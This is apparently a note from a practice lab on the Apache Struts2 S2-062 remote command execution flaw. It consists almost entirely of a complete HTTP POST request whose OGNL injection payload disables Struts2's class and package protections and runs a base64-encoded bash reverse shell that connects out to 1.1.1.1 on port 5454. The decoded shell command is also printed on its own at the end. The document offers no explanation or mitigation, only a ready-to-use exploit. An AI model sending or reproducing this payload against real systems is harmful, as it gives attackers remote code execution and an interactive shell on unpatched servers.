S2-062靶场 远程命令执行

POST /s2_062/index.action HTTP/1.1Host: Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6Cookie: JSESSIONID=2406B54DAAB4B4092E387D404AF3CAF3Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 1159
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xLjEuMS4xLzU0NTQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}'}))

bash -c {echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xLjEuMS4xLzU0NTQgMD4mMQ%3d%3d}|{base64,-d}|{bash,-i}